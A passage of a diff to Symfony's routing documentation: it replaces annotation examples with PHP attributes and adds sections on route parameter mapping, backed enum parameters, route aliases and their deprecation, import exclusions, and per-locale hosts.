Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { @@ -1036,7 +1026,7 @@ order of your routes, and it is only available when using annotations. * This route has a greedy pattern and is defined first. */ #[Route('/blog/{slug}', name: 'blog_show')] - public function show(string $slug) + public function show(string $slug): Response { // ... } @@ -1045,7 +1035,7 @@ order of your routes, and it is only available when using annotations. * This route could not be matched without defining a higher priority than 0. */ #[Route('/blog/list', name: 'blog_list', priority: 2)] - public function list() + public function list(): Response { // ... } @@ -1060,14 +1050,7 @@ Parameter Conversion A common routing need is to convert the value stored in some parameter (e.g. an integer acting as the user ID) into another value (e.g. the object that -represents the user). This feature is called "param converter" and is only -available when using annotations to define routes. - -To add support for "param converters" we need SensioFrameworkExtraBundle: - -.. code-block:: terminal - - $ composer require sensio/framework-extra-bundle +represents the user). This feature is called a "param converter". Now, keep the previous route configuration, but change the arguments of the controller action. Instead of ``string $slug``, add ``BlogPost $post``:: @@ -1077,16 +1060,15 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``:: use App\Entity\BlogPost; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { // ... - /** - * @Route("/blog/{slug}", name="blog_show") - */ - public function show(BlogPost $post) + #[Route('/blog/{slug:post}', name: 'blog_show')] + public function show(BlogPost $post): Response { // $post is the object whose slug matches the routing parameter @@ -1099,8 +1081,62 @@ this case), the "param converter" makes a database request to find the object using the request parameters (``slug`` in this case). If no object is found, Symfony generates a 404 response automatically. -Read the `full param converter documentation`_ to learn about the converters -provided by Symfony and how to configure them. +The ``{slug:post}`` syntax maps the route parameter named ``slug`` to the controller +argument named ``$post``. It also hints the "param converter" to look up the +corresponding ``BlogPost`` object from the database using the slug. + +.. versionadded:: 7.1 + + Route parameter mapping was introduced in Symfony 7.1. + +When mapping multiple entities from route parameters, name collisions can occur. +In this example, the route tries to define two mappings: one for an author and one +for a category; both using the same ``name`` parameter. This isn't allowed because +the route ends up declaring ``name`` twice:: + + #[Route('/search-book/{name:author}/{name:category}')] + +Such routes should instead be defined using the following syntax:: + + #[Route('/search-book/{authorName:author.name}/{categoryName:category.name}')] + +This way, the route parameter names are unique (``authorName`` and ``categoryName``), +and the "param converter" can correctly map them to controller arguments (``$author`` +and ``$category``), loading them both by their name. + +.. versionadded:: 7.3 + + This more advanced style of route parameter mapping was introduced in Symfony 7.3. + +More advanced mappings can be achieved using the ``#[MapEntity]`` attribute. +Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>` +to learn how to customize the database queries used to fetch the object from the route +parameter. + +Backed Enum Parameters +~~~~~~~~~~~~~~~~~~~~~~ + +You can use PHP `backed enumerations`_ as route parameters because Symfony will +convert them automatically to their scalar values. + +.. code-block:: php-attributes + + // src/Controller/OrderController.php + namespace App\Controller; + + use App\Enum\OrderStatusEnum; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + + class OrderController extends AbstractController + { + #[Route('/orders/list/{status}', name: 'list_orders_by_status')] + public function list(OrderStatusEnum $status = OrderStatusEnum::Paid): Response + { + // ... + } + } Special Parameters ~~~~~~~~~~~~~~~~~~ @@ -1108,12 +1144,13 @@ Special Parameters In addition to your own parameters, routes can include any of the following special parameters created by Symfony: +.. _routing-format-parameter: +.. _routing-locale-parameter: + ``_controller`` This parameter is used to determine which controller and action is executed when the route is matched. -.. _routing-format-parameter: - ``_format`` The matched value is used to set the "request format" of the ``Request`` object. This is used for such things as setting the ``Content-Type`` of the response @@ -1123,8 +1160,6 @@ special parameters created by Symfony: Used to set the fragment identifier, which is the optional last part of a URL that starts with a ``#`` character and is used to identify a portion of a document. -.. _routing-locale-parameter: - ``_locale`` Used to set the :ref:`locale <translation-locale-url>` on the request. @@ -1134,30 +1169,6 @@ and in route imports. Symfony defines some special attributes with the same name .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/ArticleController.php - namespace App\Controller; - - // ... - class ArticleController extends AbstractController - { - /** - * @Route( - * "/articles/{_locale}/search.{_format}", - * locale="en", - * format="html", - * requirements={ - * "_locale": "en|fr", - * "_format": "html|xml", - * } - * ) - */ - public function search() - { - } - } - .. code-block:: php-attributes // src/Controller/ArticleController.php @@ -1175,7 +1186,7 @@ and in route imports. Symfony defines some special attributes with the same name '_format' => 'html|xml', ], )] - public function search() + public function search(): Response { } } @@ -1208,7 +1219,7 @@ and in route imports. Symfony defines some special attributes with the same name format="html"> <requirement key="_locale">en|fr</requirement> - <requirement key="_format">html|rss</requirement> + <requirement key="_format">html|xml</requirement> </route> </routes> @@ -1220,14 +1231,14 @@ and in route imports. Symfony defines some special attributes with the same name use App\Controller\ArticleController; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('article_show', '/articles/{_locale}/search.{_format}') ->controller([ArticleController::class, 'search']) ->locale('en') ->format('html') ->requirements([ '_locale' => 'en|fr', - '_format' => 'html|rss', + '_format' => 'html|xml', ]) ; }; @@ -1241,35 +1252,19 @@ the controllers of the routes: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogController.php - namespace App\Controller; - - use Symfony\Component\Routing\Annotation\Route; - - class BlogController - { - /** - * @Route("/blog/{page}", name="blog_index", defaults={"page": 1, "title": "Hello world!"}) - */ - public function index(int $page, string $title) - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; - class BlogController + class BlogController extends AbstractController { #[Route('/blog/{page}', name: 'blog_index', defaults: ['page' => 1, 'title' => 'Hello world!'])] - public function index(int $page, string $title) + public function index(int $page, string $title): Response { // ... } @@ -1306,7 +1301,7 @@ the controllers of the routes: use App\Controller\BlogController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('blog_index', '/blog/{page}') ->controller([BlogController::class, 'index']) ->defaults([ @@ -1330,35 +1325,19 @@ A possible solution is to change the parameter requirements to be more permissiv .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/DefaultController.php - namespace App\Controller; - - use Symfony\Component\Routing\Annotation\Route; - - class DefaultController - { - /** - * @Route("/share/{token}", name="share", requirements={"token"=".+"}) - */ - public function share($token) - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/DefaultController.php namespace App\Controller; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; - class DefaultController + class DefaultController extends AbstractController { #[Route('/share/{token}', name: 'share', requirements: ['token' => '.+'])] - public function share($token) + public function share($token): Response { // ... } @@ -1393,7 +1372,7 @@ A possible solution is to change the parameter requirements to be more permissiv use App\Controller\DefaultController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('share', '/share/{token}') ->controller([DefaultController::class, 'share']) ->requirements([ @@ -1404,11 +1383,11 @@ A possible solution is to change the parameter requirements to be more permissiv .. note:: - If the route defines several parameter and you apply this permissive + If the route defines several parameters and you apply this permissive regular expression to all of them, you might get unexpected results. For example, if the route definition is ``/share/{path}/{token}`` and both - ``path`` and ``token`` accept ``/``. The ``token`` only get the last path - and the rest of the match is matched by the first argument (``path``). + ``path`` and ``token`` accept ``/``, then ``token`` will only get the last part + and the rest is matched by ``path``. .. note:: @@ -1419,69 +1398,317 @@ A possible solution is to change the parameter requirements to be more permissiv as the token and the format will be empty. This can be solved by replacing the ``.+`` requirement by ``[^.]+`` to allow any character except dots. -.. _routing-route-groups: +.. _routing-alias: -Route Groups and Prefixes -------------------------- +Route Aliasing +-------------- -It's common for a group of routes to share some options (e.g. all routes related -to the blog start with ``/blog``) That's why Symfony includes a feature to share -route configuration. +Route alias allows you to have multiple names for the same route +and can be used to provide backward compatibility for routes that +have been renamed. Let's say you have a route called ``product_show``: -When defining routes as attributes or annotations, put the common configuration -in the ``#[Route]`` attribute (or ``@Route`` annotation) of the controller -class. In other routing formats, define the common configuration using options -when importing the routes. +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Controller/ProductController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + + class ProductController + { + #[Route('/product/{id}', name: 'product_show')] + public function show(): Response + { + // ... + } + } + + .. code-block:: yaml + + # config/routes.yaml + product_show: + path: /product/{id} + controller: App\Controller\ProductController::show + + .. code-block:: xml + + <!-- config/routes.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + + <route id="product_show" path="/product/{id}" controller="App\Controller\ProductController::show"/> + </routes> + + .. code-block:: php + + // config/routes.php + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + + return static function (RoutingConfigurator $routes): void { + $routes->add('product_show', '/product/{id}') + ->controller('App\Controller\ProductController::show'); + }; + +Now, let's say you want to create a new route called ``product_details`` +that acts exactly the same as ``product_show``. + +Instead of duplicating the original route, you can create an alias for it. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes - // src/Controller/BlogController.php + // src/Controller/ProductController.php namespace App\Controller; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; - /** - * @Route("/blog", requirements={"_locale": "en|es|fr"}, name="blog_") - */ - class BlogController + class ProductController { - /** - * @Route("/{_locale}", name="index") - */ - public function index() + // the "alias" argument assigns an alternate name to this route; + // the alias will point to the actual route "product_show" + #[Route('/product/{id}', name: 'product_show', alias: ['product_details'])] + public function show(): Response { // ... } + } - /** - * @Route("/{_locale}/posts/{slug}", name="show") - */ - public function show(Post $post) + .. code-block:: yaml + + # config/routes.yaml + product_show: + path: /product/{id} + controller: App\Controller\ProductController::show + + product_details: + # "alias" option refers to the name of the route declared above + alias: product_show + + .. code-block:: xml + + <!-- config/routes.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + + <route id="product_show" path="/product/{id}" controller="App\Controller\ProductController::show"/> + <!-- "alias" attribute value refers to the name of the route declared above --> + <route id="product_details" alias="product_show"/> + </routes> + + .. code-block:: php + + // config/routes.php + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + + return static function (RoutingConfigurator $routes): void { + $routes->add('product_show', '/product/{id}') + ->controller('App\Controller\ProductController::show'); + // second argument refers to the name of the route declared above + $routes->alias('product_details', 'product_show'); + }; + +.. versionadded:: 7.3 + + Support for route aliases in PHP attributes was introduced in Symfony 7.3. + +In this example, both ``product_show`` and ``product_details`` routes can +be used in the application and will produce the same result. + +.. note:: + + YAML, XML, and PHP configuration formats are the only ways to define an alias + for a route that you do not own. You can't do this when using PHP attributes. + + This allows you for example to use your own route name for URL generation, + while still targeting a route defined by a third-party bundle. The alias and + the original route do not need to be declared in the same file or format. + +.. _routing-alias-deprecation: + +Deprecating Route Aliases +~~~~~~~~~~~~~~~~~~~~~~~~~ + +Route aliases can be used to provide backward compatibility for routes that +have been renamed. + +Now, let's say you want to replace the ``product_show`` route in favor of +``product_details`` and mark the old one as deprecated. + +In the previous example, the alias ``product_details`` was pointing to +``product_show`` route. + +To mark the ``product_show`` route as deprecated, you need to "switch" the alias. +The ``product_show`` become the alias, and will now point to the ``product_details`` route. +This way, the ``product_show`` alias could be deprecated. + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Controller/ProductController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\DeprecatedAlias; + use Symfony\Component\Routing\Attribute\Route; + + class ProductController + { + // this outputs the following generic deprecation message: + // Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future. + #[Route('/product/{id}', + name: 'product_details', + alias: new DeprecatedAlias( + aliasName: 'product_show', + package: 'acme/package', + version: '1.2', + ), + )] + // Or, you can also define a custom deprecation message (%alias_id% placeholder is available) + #[Route('/product/{id}', + name: 'product_details', + alias: new DeprecatedAlias( + aliasName: 'product_show', + package: 'acme/package', + version: '1.2', + message: 'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.', + ), + )] + public function show(): Response { // ... } } + .. code-block:: yaml + + # Move the concrete route definition under ``product_details`` + product_details: + path: /product/{id} + controller: App\Controller\ProductController::show + + # Define the alias and the deprecation under the ``product_show`` definition + product_show: + alias: product_details + + # this outputs the following generic deprecation message: + # Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future. + deprecated: + package: 'acme/package' + version: '1.2' + + # or + + # you can define a custom deprecation message (%alias_id% placeholder is available) + deprecated: + package: 'acme/package' + version: '1.2' + message: 'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.' + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + + <!-- Move the concrete route definition under ``product_details`` --> + <route id="product_details" path="/product/{id}" controller="App\Controller\ProductController::show"/> + + <!-- Define the alias and the deprecation under the ``product_show`` definition --> + <route id="product_show" alias="product_details"> + <!-- this outputs the following generic deprecation message: + Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future. --> + <deprecated package="acme/package" version="1.2"/> + + <!-- or --> + + <!-- you can define a custom deprecation message (%alias_id% placeholder is available) --> + <deprecated package="acme/package" version="1.2"> + The "%alias_id%" route alias is deprecated. Please use "product_details" instead. + </deprecated> + </route> + </routes> + + .. code-block:: php + + $routes->add('product_details', '/product/{id}') + ->controller('App\Controller\ProductController::show'); + + $routes->alias('product_show', 'product_details') + // this outputs the following generic deprecation message: + // Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future. + ->deprecate('acme/package', '1.2', '') + + // or + + // you can define a custom deprecation message (%alias_id% placeholder is available) + ->deprecate( + 'acme/package', + '1.2', + 'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.' + ) + ; + +.. versionadded:: 7.3 + + The ``DeprecatedAlias`` class for PHP attributes was introduced in Symfony 7.3. + +In this example, every time the ``product_show`` alias is used, a deprecation +warning is triggered, advising you to stop using this route and prefer using ``product_details``. + +The message is actually a message template, which replaces occurrences of the +``%alias_id%`` placeholder by the route alias name. You **must** have +at least one occurrence of the ``%alias_id%`` placeholder in your template. + +.. _routing-route-groups: + +Route Groups and Prefixes +------------------------- + +It's common for a group of routes to share some options (e.g. all routes related +to the blog start with ``/blog``) That's why Symfony includes a feature to share +route configuration. + +When defining routes as attributes, put the common configuration +in the ``#[Route]`` attribute of the controller class. +In other routing formats, define the common configuration using options +when importing the routes. + +.. configuration-block:: + .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; #[Route('/blog', requirements: ['_locale' => 'en|es|fr'], name: 'blog_')] - class BlogController + class BlogController extends AbstractController { #[Route('/{_locale}', name: 'index')] - public function index() + public function index(): Response { // ... } #[Route('/{_locale}/posts/{slug}', name: 'show')] - public function show(Post $post) + public function show(string $slug): Response { // ... } @@ -1489,10 +1716,10 @@ when importing the routes. .. code-block:: yaml - # config/routes/annotations.yaml + # config/routes/attributes.yaml controllers: resource: '../../src/Controller/' - type: annotation + type: attribute # this is added to the beginning of all imported route URLs prefix: '/blog' # this is added to the beginning of all imported route names @@ -1500,15 +1727,18 @@ when importing the routes. # these requirements are added to all imported routes requirements: _locale: 'en|es|fr' + # An imported route with an empty URL will become "/blog/" # Uncomment this option to make that URL "/blog" instead # trailing_slash_on_root: false - # you can optionally exclude some files/subdirectories when loading annotations - # exclude: '../../src/Controller/{DebugEmailController}.php' + + # you can optionally exclude some files/subdirectories when loading attributes + # (the value must be a string or an array of PHP glob patterns) + # exclude: '../../src/Controller/{Debug*Controller.php}' .. code-block:: xml - <!-- config/routes/annotations.xml --> + <!-- config/routes/attributes.xml --> <?xml version="1.0" encoding="UTF-8" ?> <routes xmlns="http://symfony.com/schema/routing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" @@ -1518,20 +1748,21 @@ when importing the routes. <!-- the 'prefix' value is added to the beginning of all imported route URLs the 'name-prefix' value is added to the beginning of all imported route names - the 'exclude' option defines the files or subdirectories ignored when loading annotations + the 'exclude' option defines the files or subdirectories ignored when loading attributes + (the value must be a PHP glob pattern and you can repeat this option any number of times) --> <import resource="../../src/Controller/" - type="annotation" + type="attribute" prefix="/blog" name-prefix="blog_" - exclude="../../src/Controller/{DebugEmailController}.php"> + exclude="../../src/Controller/{Debug*Controller.php}"> <!-- these requirements are added to all imported routes --> <requirement key="_locale">en|es|fr</requirement> </import> <!-- An imported route with an empty URL will become "/blog/" Uncomment this option to make that URL "/blog" instead --> - <import resource="../../src/Controller/" type="annotation" + <import resource="../../src/Controller/" type="attribute" prefix="/blog" trailing-slash-on-root="false"> <!-- ... --> @@ -1540,30 +1771,98 @@ when importing the routes. .. code-block:: php - // config/routes/annotations.php + // config/routes/attributes.php use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { - // use the optional fifth argument of import() to exclude some files - // or subdirectories when loading annotations - $routes->import('../../src/Controller/', 'annotation') + return static function (RoutingConfigurator $routes): void { + $routes->import( + '../../src/Controller/', + 'attribute', + false, + // the optional fourth argument is used to exclude some files + // or subdirectories when loading attributes + // (the value must be a string or an array of PHP glob patterns) + '../../src/Controller/{Debug*Controller.php}' + ) // this is added to the beginning of all imported route URLs ->prefix('/blog') + // An imported route with an empty URL will become "/blog/" // Pass FALSE as the second argument to make that URL "/blog" instead // ->prefix('/blog', false) + // this is added to the beginning of all imported route names ->namePrefix('blog_') + // these requirements are added to all imported routes ->requirements(['_locale' => 'en|es|fr']) ; }; +.. warning:: + + The ``exclude`` option only works when the ``resource`` value is a glob string. + If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude`` + value will be ignored. + In this example, the route of the ``index()`` action will be called ``blog_index`` -and its URL will be ``/blog/``. The route of the ``show()`` action will be called +and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes will also validate that the ``_locale`` parameter matches the regular expression -defined in the class annotation. +defined in the class attribute. + +.. note:: + + If any of the prefixed routes defines an empty path, Symfony adds a trailing + slash to it. In the previous example, an empty path prefixed with ``/blog`` + will result in the ``/blog/`` URL. If you want to avoid this behavior, set + the ``trailing_slash_on_root`` option to ``false`` (this option is not + available when using PHP attributes): + + .. configuration-block:: + + .. code-block:: yaml + + # config/routes/attributes.yaml + controllers: + resource: '../../src/Controller/' + type: attribute + prefix: '/blog' + trailing_slash_on_root: false + # ... + + .. code-block:: xml + + <!-- config/routes/attributes.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + + <import resource="../../src/Controller/" + type="attribute" + prefix="/blog" + name-prefix="blog_" + trailing-slash-on-root="false" + exclude="../../src/Controller/{DebugEmailController}.php"> + <!-- ... --> + </import> + </routes> + + .. code-block:: php + + // config/routes/attributes.php + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + + return static function (RoutingConfigurator $routes): void { + $routes->import('../../src/Controller/', 'attribute') + // the second argument is the $trailingSlashOnRoot option + ->prefix('/blog', false) + + // ... + ; + }; .. seealso:: @@ -1582,37 +1881,29 @@ information in a controller via the ``Request`` object:: use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { - /** - * @Route("/blog", name="blog_list") - */ - public function list(Request $request) + #[Route('/blog', name: 'blog_list')] + public function list(Request $request): Response { - // ... - $routeName = $request->attributes->get('_route'); $routeParameters = $request->attributes->get('_route_params'); // use this to get all the available attributes (not only routing ones): $allAttributes = $request->attributes->all(); + + // ... } } -You can get this information in services too injecting the ``request_stack`` -service to :doc:`get the Request object in a service </service_container/request>`. -In templates, use the :ref:`Twig global app variable <twig-app-variable>` to get -the request and its attributes: - -.. code-block:: twig - - {% set route_name = app.request.attributes.get('_route') %} - {% set route_parameters = app.request.attributes.get('_route_params') %} - - {# use this to get all the available attributes (not only routing ones) #} - {% set all_attributes = app.request.attributes.all %} +In services, you can get this information by +:doc:`injecting the RequestStack service </service_container/request>`. +In templates, use the :ref:`Twig global app variable <twig-app-variable>` +to get the current route name (``app.current_route``) and its parameters +(``app.current_route_parameters``). Special Routes -------------- @@ -1653,6 +1944,10 @@ Use the ``RedirectController`` to redirect to other routes and URLs: # * for temporary redirects, it uses the 307 status code instead of 302 # * for permanent redirects, it uses the 308 status code instead of 301 keepRequestMethod: true + # add this to remove all original route attributes when redirecting + ignoreAttributes: true + # or specify which attributes to ignore: + # ignoreAttributes: ['offset', 'limit'] legacy_doc: path: /legacy/doc @@ -1703,7 +1998,7 @@ Use the ``RedirectController`` to redirect to other routes and URLs: use Symfony\Bundle\FrameworkBundle\Controller\RedirectController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('doc_shortcut', '/doc') ->controller(RedirectController::class) ->defaults([ @@ -1769,51 +2064,25 @@ host name: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/MainController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class MainController extends AbstractController - { - /** - * @Route("/", name="mobile_homepage", host="m.example.com") - */ - public function mobileHomepage() - { - // ... - } - - /** - * @Route("/", name="homepage") - */ - public function homepage() - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/MainController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class MainController extends AbstractController { #[Route('/', name: 'mobile_homepage', host: 'm.example.com')] - public function mobileHomepage() + public function mobileHomepage(): Response { // ... } #[Route('/', name: 'homepage')] - public function homepage() + public function homepage(): Response { // ... } @@ -1854,7 +2123,7 @@ host name: use App\Controller\MainController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('mobile_homepage', '/') ->controller([MainController::class, 'mobileHomepage']) ->host('m.example.com') @@ -1864,53 +2133,20 @@ host name: ; }; - The value of the ``host`` option can include parameters (which is useful in multi-tenant applications) and these parameters can be validated too with ``requirements``: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/MainController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class MainController extends AbstractController - { - /** - * @Route( - * "/", - * name="mobile_homepage", - * host="{subdomain}.example.com", - * defaults={"subdomain"="m"}, - * requirements={"subdomain"="m|mobile"} - * ) - */ - public function mobileHomepage() - { - // ... - } - - /** - * @Route("/", name="homepage") - */ - public function homepage() - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/MainController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class MainController extends AbstractController { @@ -1921,13 +2157,13 @@ multi-tenant applications) and these parameters can be validated too with defaults: ['subdomain' => 'm'], requirements: ['subdomain' => 'm|mobile'], )] - public function mobileHomepage() + public function mobileHomepage(): Response { // ... } #[Route('/', name: 'homepage')] - public function homepage() + public function homepage(): Response { // ... } @@ -1975,7 +2211,7 @@ multi-tenant applications) and these parameters can be validated too with use App\Controller\MainController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('mobile_homepage', '/') ->controller([MainController::class, 'mobileHomepage']) ->host('{subdomain}.example.com') @@ -1992,7 +2228,7 @@ multi-tenant applications) and these parameters can be validated too with }; In the above example, the ``subdomain`` parameter defines a default value because -otherwise you need to include a domain value each time you generate a URL using +otherwise you need to include a subdomain value each time you generate a URL using these routes. .. tip:: @@ -2011,50 +2247,34 @@ these routes. [], [], ['HTTP_HOST' => 'm.example.com'] - // or get the value from some container parameter: - // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')] + // or get the value from some configuration parameter: + // ['HTTP_HOST' => 'm.'.$client->getContainer()->getParameter('domain')] ); +.. tip:: + + You can also use the inline defaults and requirements format in the + ``host`` option: ``{subdomain<m|mobile>?m}.example.com`` + .. _i18n-routing: Localized Routes (i18n) ----------------------- If your application is translated into multiple languages, each route can define -a different URL per each :doc:`translation locale </translation/locale>`. This +a different URL per each :ref:`translation locale <translation-locale>`. This avoids the need for duplicating routes, which also reduces the potential bugs: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/CompanyController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class CompanyController extends AbstractController - { - /** - * @Route({ - * "en": "/about-us", - * "nl": "/over-ons" - * }, name="about_us") - */ - public function about() - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/CompanyController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class CompanyController extends AbstractController { @@ -2062,7 +2282,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs: 'en' => '/about-us', 'nl' => '/over-ons' ], name: 'about_us')] - public function about() + public function about(): Response { // ... } @@ -2098,7 +2318,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs: use App\Controller\CompanyController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('about_us', [ 'en' => '/about-us', 'nl' => '/over-ons', @@ -2129,24 +2349,24 @@ with a locale. This can be done by defining a different prefix for each locale .. code-block:: yaml - # config/routes/annotations.yaml + # config/routes/attributes.yaml controllers: resource: '../../src/Controller/' - type: annotation + type: attribute prefix: en: '' # don't prefix URLs for English, the default locale nl: '/nl' .. code-block:: xml - <!-- config/routes/annotations.xml --> + <!-- config/routes/attributes.xml --> <?xml version="1.0" encoding="UTF-8" ?> <routes xmlns="http://symfony.com/schema/routing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/routing https://symfony.com/schema/routing/routing-1.0.xsd"> - <import resource="../../src/Controller/" type="annotation"> + <import resource="../../src/Controller/" type="attribute"> <!-- don't prefix URLs for English, the default locale --> <prefix locale="en"></prefix> <prefix locale="nl">/nl</prefix> @@ -2155,15 +2375,68 @@ with a locale. This can be done by defining a different prefix for each locale .. code-block:: php - // config/routes/annotations.php + // config/routes/attributes.php use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { - $routes->import('../../src/Controller/', 'annotation') + return static function (RoutingConfigurator $routes): void { + $routes->import('../../src/Controller/', 'attribute') ->prefix([ // don't prefix URLs for English, the default locale 'en' => '', - 'nl' => '/nl' + 'nl' => '/nl', + ]) + ; + }; + +.. note:: + + If a route being imported includes the special :ref:`_locale <routing-locale-parameter>` + parameter in its own definition, Symfony will only import it for that locale + and not for the other configured locale prefixes. + + E.g. if a route contains ``locale: 'en'`` in its definition and it's being + imported with ``en`` (prefix: empty) and ``nl`` (prefix: ``/nl``) locales, + that route will be available only in ``en`` locale and not in ``nl``. + +Another common requirement is to host the website on a different domain +according to the locale. This can be done by defining a different host for each +locale. + +.. configuration-block:: + + .. code-block:: yaml + + # config/routes/attributes.yaml + controllers: + resource: '../../src/Controller/' + type: attribute + host: + en: 'www.example.com' + nl: 'www.example.nl' + + .. code-block:: xml + + <!-- config/routes/attributes.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + <import resource="../../src/Controller/" type="attribute"> + <host locale="en">www.example.com</host> + <host locale="nl">www.example.nl</host> + </import> + </routes> + + .. code-block:: php + + // config/routes/attributes.php + use 